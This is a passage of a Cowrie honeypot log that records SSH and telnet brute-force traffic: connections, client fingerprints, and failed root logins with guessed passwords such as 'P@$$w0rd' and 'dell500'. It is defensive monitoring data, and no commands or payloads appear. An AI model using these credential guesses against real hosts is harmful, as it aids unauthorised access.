{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd","message":"login attempt [root/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:04.323750Z","src_ip":"202.51.70.20","session":"6094e80e63dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:05.659977Z","src_ip":"202.51.70.20","session":"6094e80e63dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":47404,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da7eb59e943","protocol":"ssh","message":"New connection: 80.94.92.171:47404 (10.17.0.5:22) [session: 0da7eb59e943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:14.108681Z"}
{"eventid":"cowrie.session.closed","duration":34.936437129974365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:14.137546Z","src_ip":"135.148.14.151","session":"45f8a0eaaab4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:14.192274Z","src_ip":"80.94.92.171","session":"0da7eb59e943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:14.248067Z","src_ip":"80.94.92.171","session":"0da7eb59e943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.729509830474854,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:14.308065Z","src_ip":"186.48.116.254","session":"a1e1569b38d1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:16.080790Z","src_ip":"80.94.92.171","session":"0da7eb59e943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:17.193537Z","src_ip":"80.94.92.171","session":"0da7eb59e943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53558,"dst_ip":"159.203.135.109","dst_port":23,"session":"89cf8800198b","protocol":"telnet","message":"New connection: 135.148.14.151:53558 (159.203.135.109:23) [session: 89cf8800198b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:18.386584Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39826,"dst_ip":"10.17.0.5","dst_port":22,"session":"f36bdb71bf19","protocol":"ssh","message":"New connection: 103.27.238.120:39826 (10.17.0.5:22) [session: f36bdb71bf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:22.020082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:22.024956Z","src_ip":"103.27.238.120","session":"f36bdb71bf19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37852,"dst_ip":"10.17.0.5","dst_port":22,"session":"6621d054ffd8","protocol":"ssh","message":"New connection: 103.27.238.116:37852 (10.17.0.5:22) [session: 6621d054ffd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:22.037322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:22.042379Z","src_ip":"103.27.238.116","session":"6621d054ffd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:22.294255Z","src_ip":"103.27.238.120","session":"f36bdb71bf19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:22.306587Z","src_ip":"103.27.238.116","session":"6621d054ffd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"direktor","message":"login attempt [root/direktor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:23.100202Z","src_ip":"103.27.238.116","session":"6621d054ffd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walker","message":"login attempt [root/walker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:23.105361Z","src_ip":"103.27.238.120","session":"f36bdb71bf19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:24.367519Z","src_ip":"103.27.238.116","session":"6621d054ffd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:24.386839Z","src_ip":"103.27.238.120","session":"f36bdb71bf19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36966,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48962424f70","protocol":"telnet","message":"New connection: 135.148.14.151:36966 (159.203.135.109:23) [session: e48962424f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:46.405271Z"}
{"eventid":"cowrie.session.closed","duration":35.505773305892944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:53.892227Z","src_ip":"135.148.14.151","session":"89cf8800198b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.632179737091064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:21.037358Z","src_ip":"135.148.14.151","session":"e48962424f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56022,"dst_ip":"159.203.135.109","dst_port":22,"session":"1477ab865cb6","protocol":"ssh","message":"New connection: 103.153.68.219:56022 (159.203.135.109:22) [session: 1477ab865cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:23.142953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:23.146897Z","src_ip":"103.153.68.219","session":"1477ab865cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:23.397117Z","src_ip":"103.153.68.219","session":"1477ab865cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell500","message":"login attempt [root/dell500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:24.148684Z","src_ip":"103.153.68.219","session":"1477ab865cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:25.402411Z","src_ip":"103.153.68.219","session":"1477ab865cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":33680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec807c51ca8","protocol":"ssh","message":"New connection: 46.19.67.181:33680 (10.17.0.5:22) [session: 4ec807c51ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:29.909933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:29.915265Z","src_ip":"46.19.67.181","session":"4ec807c51ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:30.040626Z","src_ip":"46.19.67.181","session":"4ec807c51ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexyboy","message":"login attempt [root/sexyboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:30.396341Z","src_ip":"46.19.67.181","session":"4ec807c51ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:31.515896Z","src_ip":"46.19.67.181","session":"4ec807c51ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":40822,"dst_ip":"10.17.0.5","dst_port":22,"session":"7965a4141594","protocol":"ssh","message":"New connection: 103.82.20.28:40822 (10.17.0.5:22) [session: 7965a4141594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:33.171966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:33.177193Z","src_ip":"103.82.20.28","session":"7965a4141594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:33.441886Z","src_ip":"103.82.20.28","session":"7965a4141594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfbcbz","message":"login attempt [root/nfbcbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:34.237749Z","src_ip":"103.82.20.28","session":"7965a4141594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:35.509879Z","src_ip":"103.82.20.28","session":"7965a4141594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":51502,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e9cc2882ba","protocol":"ssh","message":"New connection: 202.51.70.20:51502 (10.17.0.5:22) [session: b4e9cc2882ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:38.930839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:38.936340Z","src_ip":"202.51.70.20","session":"b4e9cc2882ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.194662Z","src_ip":"202.51.70.20","session":"b4e9cc2882ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.228","src_port":50430,"dst_ip":"10.17.0.5","dst_port":22,"session":"349db1201022","protocol":"ssh","message":"New connection: 65.60.61.228:50430 (10.17.0.5:22) [session: 349db1201022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.783247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.787901Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH 